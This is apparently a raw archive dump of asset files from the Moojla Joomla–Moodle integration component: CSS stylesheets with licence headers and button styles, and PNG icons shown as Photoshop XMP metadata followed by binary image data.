 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		user_field_map.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/user_map.css000064400000002051151165724360011173
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		user_map.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/user_maps.css000064400000003162151165724360011362
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		user_maps.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


.custom-button-synctomoodle {
  border: 1.1px solid #5091cd !important;
  color: #fff !important;
  background-color: #5091cd !important;
}
.custom-button-synctojoomla {
  border: 1.1px solid #7ac143 !important;
  color: #fff !important;
  background-color: #7ac143 !important;
}
.custom-button-fetchmoodleusers {
  border: 1.1px solid #f9a541 !important;
  color: #fff !important;
  background-color: #f9a541 !important;
}
.custom-button-fetchjoomlausers {
  border: 1.1px solid #f44321 !important;
  color: #fff !important;
  background-color: #f44321 !important;
assets/images/icons/courses.png000064400000022675151165724360012645
0ustar00�PNG


IHDR,^ɰ)	pHYs��miTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
xmlns:exif="http://ns.adobe.com/exif/1.0/"
xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"
xmp:CreateDate="2021-02-28T18:42:42+03:30"
xmp:MetadataDate="2021-04-19T12:08:39+04:30"
xmp:ModifyDate="2021-04-19T12:08:39+04:30"
xmpMM:InstanceID="xmp.iid:c69b3684-963e-0e42-9b7c-c050ad6de220"
xmpMM:DocumentID="adobe:docid:photoshop:b6d8e2f5-2297-2247-ba62-01d782ee5a18"
xmpMM:OriginalDocumentID="xmp.did:0cf601c2-8342-c442-b65e-8caf31bef885"
photoshop:ColorMode="3" photoshop:ICCProfile="sRGB
IEC61966-2.1" dc:format="image/png"
tiff:Orientation="1" tiff:XResolution="720000/10000"
tiff:YResolution="720000/10000" tiff:ResolutionUnit="2"
exif:ColorSpace="1" exif:PixelXDimension="515"
exif:PixelYDimension="300"> <xmpMM:History>
<rdf:Seq> <rdf:li stEvt:action="created"
stEvt:instanceID="xmp.iid:0cf601c2-8342-c442-b65e-8caf31bef885"
stEvt:when="2021-02-28T18:42:42+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"/>
<rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:11432056-a324-494c-896f-7a679d266397"
stEvt:when="2021-02-28T18:42:42+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:968c01a6-3a04-8649-bdfc-0b09db908b9f"
stEvt:when="2021-03-16T12:08:56+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from image/png to
application/vnd.adobe.photoshop"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
image/png to application/vnd.adobe.photoshop"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:6e017e03-77e5-9848-8ebc-bf466dbd47f4"
stEvt:when="2021-03-16T12:08:56+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:91b73f91-fa37-7f4a-8020-654dde56b3aa"
stEvt:when="2021-04-19T12:08:39+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:c69b3684-963e-0e42-9b7c-c050ad6de220"
stEvt:when="2021-04-19T12:08:39+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> </rdf:Seq> </xmpMM:History>
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:91b73f91-fa37-7f4a-8020-654dde56b3aa"
stRef:documentID="adobe:docid:photoshop:9cbcd789-19bc-6649-a45d-7007ec850f72"
stRef:originalDocumentID="xmp.did:0cf601c2-8342-c442-b65e-8caf31bef885"/>
<photoshop:DocumentAncestors> <rdf:Bag>
<rdf:li>87FEABF05939505235737EE42C246F67</rdf:li>
<rdf:li>B3D621D2ABBE919F83ED6C409EEE7F0C</rdf:li>
<rdf:li>adobe:docid:photoshop:636401db-6a2b-ad43-adc7-81e60bf44485</rdf:li>
<rdf:li>adobe:docid:photoshop:957feb56-ceb9-394d-8901-266a5261e4e4</rdf:li>
</rdf:Bag> </photoshop:DocumentAncestors>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>Z�TG�IDATx���y�\ea���K�5�"�Pв�
E�e+��� b��E�Q��@A���I�"�
(R�"�AeQ���D(dˁ��?�$�w�̝�;�{������03g������(
$IR�ֈ@�$�e�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�G�	!��1H#��%I��X;Ġ��S�x�V�e@��V��_.���
����bg�>�;vI��$v�~�jx>p5�m�
���X�;H�U����"
I�C�Kb��*���o�B�TY�s�E�s�L�-���$���N����V�;�$)	��+U+��
IJ��7�C�J��,`��!$I��.v�^�Rx^����̊�W�T$I���e@���Y$IJ\
���$I�,� 2������)$I1̋`
�2A�E@��*ˀ$I��2�$E�f��x��ux:v�)�3�$%�2
IR�,�$%�{$�Z��6�S��QB�>�#�F��L��|��]�̀��s"媬��/�$�3�GS�w���ȗWW�������k�A��E��u�-.%d�o>�;�x��eI��K�}�zE~3���~��;S��7(�������E��V}�I~����Q����+T��S䷵��"��?м8�m�In�!�|Y�����y�ΝL����gL��C�2
I��nʛ'�<VߤÃ�9]����ٍ��
��4ܾN�?3�_��l!��x�K�����9�M�~I�þ�<�xpͪ'&���#d���"c�,�4�n�:N�����&dӁW�봹���Q��%
��\�����u֑4ˀ$
���^C��|�����s��M����?_��'���o�0i3��h=��In�ؖ�����e�,q=����E���
p[�d�����b�x-c/Q\�A��9�<��۬ˀ$
�}	ٌ�o���_{w-p
E>��!�FYL�ˀ$
�{|�!��OyF`?����g(��!Ҷ+�2
I��TB��������)�88��2GN�}Y�(I�ok�"B6��[
َ�U�π�׆5���g�%-��j�؈�E�/��ZB�9�1p/E�����n�	lU+
�g�O�����'/d����j=Z�2
I��*��..~F�7zp���N�<�^x���D�ӽ�r����)G�>c��/���?�{��w/�K���,B��tʧ�=�R�֠qO�8�%m�Nm�HR�̤�����;����e�O���Z����rz�MG}7��W�X��ږr�}"ex�^��v
d�9��g��j�W�yπ$U�3�Z.��_cl��h�ߎ�����>S���G��e@���N�k��K9Q,�;����$e^&��j������bOP�D��r*��@��z���`"����5;\��`��jj�:<����4�ن�k�_RP���k�s�l��2y�e�ˀ$US�;ͻ(o�k�)���7E���K��D�&��6�Y��
��2
I����=_�|�o��O�w�_H����!��/`��"��W�X�xV�o,�TM[�����n��!���~��m�O0�rg>�m���g
6�`�&��LY>&�{y4I�I��`W��+�8
X
�|��ᅋ�VB�:����)��7�N����O�4
8��]E��?��vi;�:棅�T]o�����<ʱ~Ky�eBv5!�!k=X@�?C����a(�)(�(�}(�<�[������l�VM�e@��k'�Q�l��ڻ�)�۽��8��-�����$d�n�;����o�`��Lv_Y$���%d�6�|.�r�ç�'�_���l�Ɛ�G�N
d�6�.�S(�R����{�ei���Z������Y}d��j{1pf��G�ȧ3~�&�w�����ʣ�3��>B9�_g��ꖹ�A�i��l�S!�8�r����]�>k~!TS����0Bvw��JsF����㌝�`y�5�[���Ɣ�0.�Y�SӀ-���!7��l7����m��,R�5�/x
����TB6�"?��~�Q��rl�Z��h��4ƫ��ّ�ݔ��E��`H�1ˀ���������5(���^����ח�v�i�wP�Qp�Cʛ5
��K+��@C�a�B6���f��(hF(�l�[4��X=f�&i������b`7`O���{9��xl娇E�cB�e!�
j�DX�I�l���
�)�;)�[8y�o�<[���#�����)���%�G�Y4�N�ȯ^���O>V���?��1��qq���2
u�"�!t�w����&[(�W�������M
�f��dА:�"���n��w�D�gO7X�~�§,S?�a�q��`��7Ȣ��

�;ivT]�O��h>���;!{��h�6�[f
�lɨe�0���Q˼��2g5�S�-���
M�QW,R
�/R�G�}	8xY��fW�X|��o��p1����2������D��ȟ>1�(M=E����{��$��Hp^
��)G�ke�~ia:�%�V��9K�,R�Аz�r���~i!����Q��e@j³JD��1���e��A�,ˀ4�
h��f�����A���6���w�TY�<+�
�I��M���+(�jheC�9}Β,ˀԄgT�m�D�/����>@����r����0��H��bgS%�J9j�%m-]�����p�%�����o��w���<��N���gPl�aʹVt�Amp�!i�Z��a�\�R���R�|yG�,��7)�9~>�K�:�|�	����;[�z?����8�"�(!�"�o�v-�����I���N���ϧ	Y�)�B�I�	8�"�{�k(��M�R���k����>B��:�w9��k�|Em�{���ӺZ�/HR�د�"Э�����1E�_���o'�I~�S�F�z��Cy��)����n��M�i��1ˀT��
5dɂ�#d��P�G����q,R>V�!ri����w��(J��6Ҷ+�2
I��;Q����O��M.!d$d�ݯ���t�۬
ˀ$
�?
tk![��-�f�1�JB��@3�A�H�p�~��v��C�.!{+p3�	��XH�N
d�v��=>��%����6��O��N��~@���rp��P��
�i�7os}����&dߠ�f��V�QΛ�#p
E��.�;gA�,�4���{^C���QI�S��Ytw�a=���C�3��)/+@�#�l����eIn�%d[v�Q��2��K/.A����ƨ�!d�?��+�ݻ̕<ˀ$
���I�2d�P�,�I�8z_Z�c���w`m���,�[�%Qg>D��W!{;pp���2
I�p6!;���h�d�fS�ZxH�S�g
�q
�/!;�L�%�2
I���������6'd�na�Q�C9M�	Y�!�+B�Y`>^��&��jyp)p!�XBy�"`.�5��j�^�0Bvp��2�l���H��e��jڈ�a�l�-�C����$%�2
IR�,�$%�2
IR�,�$%Χ	$)��bH�:�La��$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�I�g�$)q�i

P�� )�c�R�rG_@h��$
�e@��������$%�2
IR�,�$%�2 IR�,�$%�2 IR�,�$%�2
IR�,��3�#`����Y���%%��q$�3�q�BKɱH=�<X�1���(N��E�:a�����8ko���x4vI�e@�¦pîp��-vI�,ˀ4I����A���Y$�>M
M�F�hW8�" �
,�$<�_��C�z�2
u�H8����F���+��C+�_bg��^�B�s���.8Ȑ4�g��e�HR/Y��=;�$��e@ꜗ׆YQ�}I�H��=�*�#�sӀ�Chr>���`٦0m�;�4X��-�@�	!��0,��G�r�L
u�ٱ�;�b��ˀ�@�#�'�B��2
ՙ�z/H�ˀԹ��HR/Y��h��J�H�>|!vI�%ˀԡ�`�y!̊�C�z�2
5�쉂'`��Ѽ|�PR%X�Z=Q���.\�IU���$��^�"�m����z#i8yf@�@��j��.���y!�y!�A䒤^�HM��TЪ<3���͔�I�P�2�4������x\������g�68���*�H-�{�@���e@j���z�g)�f��d!����ۘ�RJ�e@��B`)Ni<�&�:�r'2���`A�r����"
�e�&�~��FҰ�2�$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��;�T1/vI�"�b�$)�*]&�c�$%���z�Je`	�,vIR2~;@�T�,�B����c�*��/�
IJ�=�ͱC�J��|`i����;X;D�T�<;�$�����KU+���B�TI�R��P�2ppB���JY�X9G�U����O����v�A櫀{#g�P��7!L����ߌ��k����>vI��Y
�x*v�IxXLyF����)P6�#��{�R�$
�c�E�G��lU.�
IR,�|���Nt�q��X$I����/Ǐ��ٙ�ÀLR<\�1r�����D�"i�w�A�2�-p�G+
���1�
Cl�
̋DP��p{�2�`�8�$����]�b�N�B��՗�m�ۢE�ԭ��ц(/H�o���%��^Y;@�Ώ@�*֗���Đ�+7�Ц�L�*U��e`�(1$�ʊ���t��V٢�8��4ܶ��Msb����20�C�Թw�Ц�c����2�(F
I=sS���À=c���ʢ�2��)$���;ܩf:�0�;��1~^?���H~��Dlq�3(�=��$rI�X_���`%IJ�=���/,N�F�$
މ��f�^�7�H�TeW{A�)�g��t2I��w�7��_&X��BW
(�$I��U�y���^���%��%I��l	�>}/Fh~����?�/崣>m
I��w��r��F�[Y��p�$��ڞb`L�$I��I��ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I��H��8ˀ$I���c�G+A�IEND�B`�assets/images/icons/courses_catid.png000064400000062102151165724360013776
0ustar00�PNG


IHDR,^ɰ)	pHYs��
"iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
xmlns:exif="http://ns.adobe.com/exif/1.0/"
xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"
xmp:CreateDate="2021-03-08T10:31:22+03:30"
xmp:MetadataDate="2021-05-09T16:40:43+04:30"
xmp:ModifyDate="2021-05-09T16:40:43+04:30"
dc:format="image/png"
xmpMM:InstanceID="xmp.iid:58ca9fb0-d11b-f642-9459-e0837157d2df"
xmpMM:DocumentID="adobe:docid:photoshop:1c683fd1-79c1-df48-aa69-bbdc9343bac4"
xmpMM:OriginalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"
photoshop:ColorMode="3" tiff:Orientation="1"
tiff:XResolution="720000/10000"
tiff:YResolution="720000/10000" tiff:ResolutionUnit="2"
exif:ColorSpace="65535" exif:PixelXDimension="515"
exif:PixelYDimension="300"> <xmpMM:History>
<rdf:Seq> <rdf:li stEvt:action="created"
stEvt:instanceID="xmp.iid:9c2e6c2c-3107-b942-9911-dfc136b5d226"
stEvt:when="2021-03-08T10:31:22+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"/>
<rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:c160889f-53c2-914e-93a2-1265e0eeda00"
stEvt:when="2021-03-14T17:57:35+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:6666de99-311e-3b4f-8e94-42513e840f1b"
stEvt:when="2021-05-09T16:40:43+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:58ca9fb0-d11b-f642-9459-e0837157d2df"
stEvt:when="2021-05-09T16:40:43+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> </rdf:Seq> </xmpMM:History>
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:6666de99-311e-3b4f-8e94-42513e840f1b"
stRef:documentID="adobe:docid:photoshop:d526789f-ac79-cd4a-9a0d-16d02b8f7148"
stRef:originalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"/>
<photoshop:DocumentAncestors> <rdf:Bag>
<rdf:li>02BADA668A33CACE5D5C37ECF58E339A</rdf:li>
<rdf:li>1A38270A084735E599E742D9E28247A9</rdf:li>
<rdf:li>44255DDB773950C46F80D1450CF0DBDC</rdf:li>
<rdf:li>5C2EDD4900F484FECE3D7A155E1CC32F</rdf:li>
<rdf:li>87FEABF05939505235737EE42C246F67</rdf:li>
<rdf:li>B3D621D2ABBE919F83ED6C409EEE7F0C</rdf:li>
<rdf:li>adobe:docid:photoshop:636401db-6a2b-ad43-adc7-81e60bf44485</rdf:li>
<rdf:li>adobe:docid:photoshop:957feb56-ceb9-394d-8901-266a5261e4e4</rdf:li>
<rdf:li>adobe:docid:photoshop:e6e905c0-be21-184e-9ded-ccdf32c966f9</rdf:li>
<rdf:li>xmp.did:0e81e14e-1626-5f4f-bc06-99053d67e78e</rdf:li>
</rdf:Bag> </photoshop:DocumentAncestors>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>�i��V�IDATx���w�T���}��)[aY��bbW�IԐĘ<��$1]c�����Qv��Fvi�Y�ò�L9�qf��ea���=�3��u�%;sf�wq��9wUZk�B���B!��$!�YN€B��$!�YN€B��$!�YN€B��$!�YN€B���?(�ܬ��h�3!�-��n�U��a\���	B!Dk���g��p��{dX�@�;�n"���[����B:��:#�@��0�B�1��w�]H�eb��C��B��q%��E�R&��W�]�B��U
�6�\G�h�3jj��HBѹr���."�2)|���Bd�ˀ^n�J��u�!�Y!��v��)a
�vB!���n�J���]�B����v��)a@!��J>�H%	B!D��0
�Bd9	B!D���]ۤa2bF!��M1��p���i"B��$�2:�E�����Z��%�[�T�7~LZ��O€E7��ٟ;�|��%�C�j�%���0
�~5��w�E?��Wg�` A�0
�~��R�$!D�^�#U(�p0	�
�}MX
<,�'\�s�����v����w@��/��J|���"3�܌��:�Q�<�8�+�:�����ё��Pf��-Pp0o^����7���Fk-3�"�=
\�jБ�s�w;���PL@G��oБ:t��`cה�YҹIH�A������16m9K�����WёH�_�#(s&���Y��Q=p):��ͯБ�P��`g��$э5�����`��F�[�y��
�|�a(��|J碚|��(a!�h�G�H���2�e�	�3�U��Б��U:�I��[S_R�0
D7����hB(J���%ދs����˻��}
v+σ0�B��8��4`��A�F�B�k��l���oCSS�A+�ށ���[7�
	B���ſ،�ljK���7�"EY����(�;`·�l`��)�_�AҨz�U���~��B?�"
ě<��jtb	]�it�-9�e:R�2?�����Ʌ�pB¡�o������^m���:�
e>|�5f	B����Xh4��5ڃ�	��jп�ù��L<\
l�Z�v�?K�'�QJ��L�,C�.k��(�K�(�[�
cdB�Z����5�=t��}�Q�8�
\��=�ᄕ�-���q~�;ju
�#kH�E��W��`����A��@����N��f7jN�u���7�R�0
x�8af�B�!Ng��n<GQ�x^�AJ�w�t��<��A�w?�;���n�#�ǧ#K���I�d	B�
nI4�{p�>�_N?���s�ߤ�^	������!�F����N+�/�zpe��?cQ�F=H(H��]v&Y
\�2��tX���Бv��N��-�0
D�7,�`ഭ�!�g�WX����Si�h�w�d�'���`����.ql�ƃ
D�Yxu}ٙ�T�����<�2��txR��W���w��.��ے0
D'K��Y�V�@�
��ρW����F�Z��,$�D)�$���~�܊E�'����o'�����V��SMGV��{p�k�e�ez�Ӻ��ݘ�!:I��pZ*�Z�鷁�Z�'ܩ.=4
@K�R��`p:@>�;3�(���vÀ����eN�Y�����Y.��[�0
D���ƃ<@Ab
`�xg��6w�L?Z�\�T8j�3��(�+Ѯ�|dI(h�;P�k�Hu��M���83f���p����
H"E
T8C꫁=��pZ�i�������WJ�;1+arp3q	m7xe^��TtꙔy��p&:��x�����
a@���8N0qnG"@℀��؍i��R3�]$�)@_��-t�v��2���-�Ȇf�
<||�2�q���v���2�����\�77u�}��la�la,��~l4pS�;��ab�qB���U���RW㄂�rػ$�l	���i��	:��M�R�8�8w�a�_�p.����Ϊ�%83d���@�؄���,����83�ǽ��͛+)�H����6�������X���?�pC�;
E��2�8!�1��
J�$Z
z$��5N(P�

����[=J�G��h�n@R	0���|^����6m��̇�qf����'H7��>lnl4E��@��Wk�ف^+R��`��ɕ�7��@�2����x��h_����?P�Wё�v׮�A@�%�Z�h������Kv����wh���Z_�P	�j�e�n"��L4�N3k��{;���I����2
D+�!�i��͂�+�֥n�&Z�%8k��wQ
�Ϥ���-m��pt�Q����v����$�a5c��و�X��I�A�؏{�Q8w�>�O�2�p����Jt1��{J���
\�D(��44h���M*��_+p.��ёz�y
p
�lu+"�/	$a@�܋ݰr`�ր��֩�Vt�DP�@)u_�/D1�xb�go���^4W��kIg�������R��q�j�_��m8�O���h&��Uђ���z�5����3%t/��_��OX8��foX&:K�u�ǁ��w�,�s8:r:rw�A@�����8o����H�@JHˀ	�cS�H�aB5pB�?ZtCZ뷁��R���D+A>^*��n�1(s:����f�w�_�{۸>��b��R`�'
��Y�����<�ʹ�mC=�
$��P�~���z�۵���Z/QJ
/G?��_����l��}-s�����w�3֑�Q���K��EG�j�<
gѢ��l�Ԙ��|	ٹ�k�����eտ!Z�88��Wq	J�
�����a�Erk��6�<�r�܀ӫ��~.�|e>�2[_�@Glt��	-���|��\����\A���)s<pt������Y2xi�
��~�բD�SJ,u8+fY���Ȃ}Uf/�V�|�}��};���*3X�,7�L�1px�W�kq�!e��ӕ�!���aV���X2��
�m�@���t�"γ��Bp�,h���q�8��=o$.�Rf!�ʼ���ʼg��(�M��g߄�F��ݿ2gg�X�h	"�܏ͳ�e��Q�:��
�]��+���PL%�3ٳj�p�O-<�B�e�k����yʼX��#�l>��x�'8���2�4;fy�x�ߣ̽�
���#Hsn*IY%�p)qr�
n^Fi���]��zZ���=���T�
Kg��P��k�g�`C����;�����������<��f��oA�3��Pf^�{�)$�	D�8�@��.�&\����Rjv����䪓Y���(Ӈ��2�}���q�8���hޟ��F�þ�?��;�58�/��/�bH�2�7]�7�8Ok=���DZ�Z?��>���eQ�/Pf24�@�����v��1my8kLę�����C�e@d�d�&A
%���,�n/9*��R�d
�gQA9�3���z�o���G(s"�P�vA�(�Åhdƀ8��2�'gI��8[�?`L���QT3Ϊ�:�>p�*�"Ťe@d��t
TPJ
n�Y:��ߌ��[�nK��sm��h���&�ܒ������j�rl{�;��=��k�~-=g�Le�x���Z�EY�B`7�#_�L��'�.��f��ud	ʜ��B��ZEH€�XEС
�0�.eE��\�sA�%mS�"�kxW�>e�ߣ#{���܎2���3n�Wu�Ϛ|�#Q�q�J)�Q1W�������>�ԁ���_���T�&Z�3��V�?��7���L;̠��V�i��w��۲���Z�t��͎$����q���
�^fw�����׮/�=���#s�б��y�R��i���@
���f�|�a��x���[)�m������������ǃ֚SN9��S8�ͮ
Pg_J���2���Q�CG�Zx|-���N�!�NW����m�ra��c��l��:�`���Z^Q	"�4^b���
��ֺ��ZD(�?���z
��[\u���_s�����:E�4Z�g�R��ѳrᦩ�;^fu�@����֑ʼ����p.ʬco/��f���(s{�cZ�n8eڍ�9��c��ߟBG>F�����{�h3	"c4�t���	M:�)�_�?0��W��տr�5��2}�Trrd<S��M���3����$~}Kb@a7
��#���{�8��犀�Zyx��c~���/�zW�#HH�n��,Ds�g$&��KX�?�|�{���~}��y䑔�lJ��D�Z��V���B���W�|VGj��uM)�U|���
�z�}�$D;H��́E�w�1c���n�~�Yg�qӗ�uZ��֥��*���
�-�=jpV�k;�a��'s�fP�ɵd	��K�
$f���
)l�2�?����Ϝ�g�/?�@@�fi9#����*��۽ZJi�8��;��V���6W�pDI��}�
�a�`Gf��
?��˿h��K/a�ȑ��I�e�v��Ԛ]�桘�A[4߂�
c�p�"MCcw#a@t[�asq<4t���CA�����ԓO4y|ܸq��Wtu9�h��/G���h�I�;��6X׆c@���D��������Z�߃;�ף8��cx��<~�ǰ~}�-�E&�Z�N�ЭnMC�<K����n�3��5����\KV�0
���w���C
̀C�x�GM?眳��C�r��DZ�%����G�i��#��R���Ȫ6w5���b�����4^O����	�F��QX����hx|���y�R��H������;|��jߣm:ZGn�t��v����c.p}���b�m���^�8{XY�hF�R���k�[�Pq�R���\G�~C��k���X�b~���d
���J�q5��$-G=n�<���[;�	�e>��V�#�	Ϣ��p`<0g�e��6���_�#�@���$�ruޏ���MG��2�
�����D��l�GQ��+�Z��
α'����q��i
O�;�^c��!.(RIk�L)�BuQ��N�p%:��8ud����,I|�K�7�~�����u��W�鈕8�E(����,!BZ��
��
`��=��%��P6�?�7�l���9�Ͳ�+\�Jt��{ЄH��	7S::J�����$t�#��N?O�0
���G��୴��f��A|��'M�|�$>�|�KU�T�Z���L�3~��lq���&�]��ёv�yu�o���8
	�[H�
4Z�t�{�<���>_ִ5`꥗��y�׷�{��n�[�_.���h�fA�C����ܸS���aE�-$�nCѰ���݊B��b�Z��`��?��8�è��t�8�JO�A�q���D�|�S淁?��+5�"�5���-Ii�ٚI�A�m���;a<o��F��>�hJK۲l�Hg�����]�x�'E�7I|�E�?D�]{�qv;\ܥ���$���q.��A�sݭ&5����W'�p<�֭���i���n����Ҿ�KϦ�B�y?��f���/�́]ZӾ�#��0
�Zr��F;v���]M)M�^E|��j~��_4<~��0r�Hb��{ʼn�Z�,4qm߂�o4Ԗ�ye��k������P��P���6i��C��uD���;v���5�<�j�����\��ܘ1cX�t)�`нEG̮��]Z^jo&�=���\�KqZkz�,�s,�6�C�~E�/���gp�@�g�!(��7�$�Ut���/{	"m%[@�wcG®�pZ	N<i</���Q�s�ƍ��_g���'�Gk=W)u�'�J,Dtc�5�N�o���i�Cp�$��,���|:��P|%�P�3c8�[�yG�1|}V�n���'v�U��[�Ҍ1���n�ĉ�쳥�~~�)f���]�i(sT^-NH2qv,&]M�\�}��e���^���v���"a@��d�@��5��#�V�5�~��a���N��~��W�t���7��O��0�_�����Y>�M�tl%��В�$���F^�'��
�R���<V�\��zg��3/�&[!wO��q>l�xz�e�U�N�
